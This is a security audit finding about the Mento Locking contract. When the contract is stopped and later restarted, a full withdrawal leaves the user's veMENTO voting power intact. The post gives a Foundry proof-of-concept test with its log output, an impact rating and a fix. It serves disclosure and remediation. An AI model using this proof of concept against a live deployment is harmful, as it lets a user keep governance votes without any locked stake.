← All Posts | findings | March 23, 2024

Mento – Voting power remains despite withdrawal

Paweł Kuryłowicz

Paweł Kuryłowicz

Managing Partner & Smart Contract Security Auditor

Full withdrawals do not decrease user voting power when the Locking contract is stopped.

Vulnerability Details

Under specific conditions, the owner may stop the Locking contract for investigation or other reasons using the stop() function. When the contract is stopped, the logic in the if statement is skipped, and user can withdraw all tokens without bias.

This is good and is intended so that users can withdraw their funds in the event of an emergency. The problem is that after withdrawing these funds, user voting power remains unreset, and the balanceOf function still returns the veMENTO from before the withdrawal.

  function balanceOf(address account) external view returns (uint256) {
    if ((accounts[account].balance.initial.bias == 0) || (stopped)) {
      return 0;
    }
    uint32 currentBlock = getBlockNumber();
    uint32 time = roundTimestamp(currentBlock);
    return accounts[account].balance.actualValue(time, currentBlock);
  }

POC below illustrates the issue. To check how voting power is cleared without stops, comment out the lines with the owner’s actions.

POC results

[PASS] test_POC_Voting_Power_Remains_Despite_Withdrawal() (gas: 622229)
Logs:

  veMento      balanceOf(alice) AFTER LOCK 17
  Mento   balanceOf(alice) AFTER LOCK 40
  
  veMento      balanceOf(alice) AFTER WITHDRAW and before START 0
  Mento   balanceOf(alice) AFTER WITHDRAW and before START 100
  
  veMento      balanceOf(alice) AFTER WITHDRAW and AFTER START 17
  Mento   balanceOf(alice) AFTER WITHDRAW and AFTER START 100

POC file

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.18;
// solhint-disable func-name-mixedcase, contract-name-camelcase

import { Locking_Test } from "./Base.t.sol";
import { MockLocking } from "../../mocks/MockLocking.sol";
import "forge-std/console.sol";

contract Lock_Locking_Test is Locking_Test {
  function test_init_shouldSetState() public {
    assertEq(address(locking.token()), address(mentoToken));

    assertEq(locking.startingPointWeek(), 0);
    assertEq(locking.minCliffPeriod(), 0);
    assertEq(locking.minSlopePeriod(), 0);
    assertEq(locking.owner(), owner);
  }

    function test_POC_Voting_Power_Remains_Despite_Withdrawal() public {
    
    mentoToken.mint(alice, 100);

    //Alice locks her tokens.
    vm.prank(alice);
    locking.lock(alice, alice, 60, 30, 0);

    console.log("veMento      balanceOf(alice) AFTER LOCK",locking.balanceOf(alice));
    console.log("Mento   balanceOf(alice) AFTER LOCK",mentoToken.balanceOf(alice));
    
    _incrementBlock(10);

    //Owner stops the contract because of some issues
    vm.prank(owner);
    locking.stop();

    //Alice decides to withdraw her tokens
    vm.prank(alice);
    locking.withdraw();

    console.log("veMento      balanceOf(alice) AFTER WITHDRAW and before START",locking.balanceOf(alice));
    console.log("Mento   balanceOf(alice) AFTER WITHDRAW and before START",mentoToken.balanceOf(alice));

    _incrementBlock(10);
    
    //Owner starts the contract again
    vm.prank(owner);
    locking.start();

    //Alice withdraw all the tokens, but her voting power remained
    console.log("veMento      balanceOf(alice) AFTER WITHDRAW and AFTER START",locking.balanceOf(alice));
    console.log("Mento   balanceOf(alice) AFTER WITHDRAW and AFTER START",mentoToken.balanceOf(alice));
  
  }
}

Impact

MEDIUM – Full withdrawals do not decrease user voting power. However, it occurs only in special case when contract is stopped and then started.

Recommendation

In case of full withdrawal when the contract is stopped, adjust the voting power to zero.

References

Join the newsletter now

Please wait...

Thank you for sign up!